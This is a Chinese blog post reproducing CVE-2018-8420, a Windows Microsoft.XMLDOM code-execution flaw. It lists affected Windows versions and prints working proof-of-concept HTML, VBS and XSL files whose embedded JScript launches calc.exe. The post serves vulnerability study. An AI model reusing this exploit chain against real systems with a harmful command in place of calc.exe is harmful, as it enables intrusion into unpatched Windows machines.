CVE-2018-8420 復現

最近太忙了，好好寫文章肯定是不能好好寫的。晚上出了一個windows的通殺rce漏洞，漏洞編號是 ofollow,noindex">CVE-2018-8420 。簡單看了下漏洞描述，應該是windows的 Microsoft.XMLDOM 引起的，看了下POC有點像XXE。

0x02 漏洞影響範圍

• Microsoft Windows 10 Version 1607 for 32-bit Systems
• Microsoft Windows 10 Version 1607 for x64-based Systems
• Microsoft Windows 10 Version 1803 for 32-bit Systems
• Microsoft Windows 10 Version 1803 for x64-based Systems
• Microsoft Windows 10 for 32-bit Systems
• Microsoft Windows 10 for x64-based Systems
• Microsoft Windows 10 version 1703 for 32-bit Systems
• Microsoft Windows 10 version 1703 for x64-based Systems
• Microsoft Windows 10 version 1709 for 32-bit Systems
• Microsoft Windows 10 version 1709 for x64-based Systems
• Microsoft Windows 7 for 32-bit Systems SP1
• Microsoft Windows 7 for x64-based Systems SP1
• Microsoft Windows 8.1 for 32-bit Systems
• Microsoft Windows 8.1 for 64-bit Systems
• Microsoft Windows RT 8.1
• Microsoft Windows Server 1709
• Microsoft Windows Server 1803
• Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
• Microsoft Windows Server 2008 R2 for x64-based Systems SP1
• Microsoft Windows Server 2008 for 32-bit Systems SP2
• Microsoft Windows Server 2008 for Itanium-based Systems SP2
• Microsoft Windows Server 2008 for x64-based Systems SP2
• Microsoft Windows Server 2012
• Microsoft Windows Server 2012 R2
• Microsoft Windows Server 2016

嗯，看情況全版本通殺

0x03 漏洞復現

POC地址： https://github.com/Lz1y/CVE-2018-8420

//xml.html
<script type="text/vbscript">
Sub POC()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "xml.xml"
XML.transformNode xsl
End Sub
POC()
</script>

//xml.vbs
Sub Dummy()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "xml.xml"
XML.transformNode xsl
End Sub
Dummy()

//xml.xml
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
 ]]> </ms:script>
</stylesheet>

在window7下通過ie瀏覽器開啟xml.html，可以成功觸發漏洞。

但是在window10下，通過ie開啟沒辦法復現，這裡懷疑是新版ie的一些修改，有知道的大佬可以給我普及一下原理嗎。

但是通過vbs，是可以成功執行的。

0x04 總結

感覺這個漏洞的利用方式和範圍都有待商榷，會彈窗感覺有點兒雞肋，或許是我滲透做的少，還沒理解到精髓，在我看來，可能是個弟弟漏洞。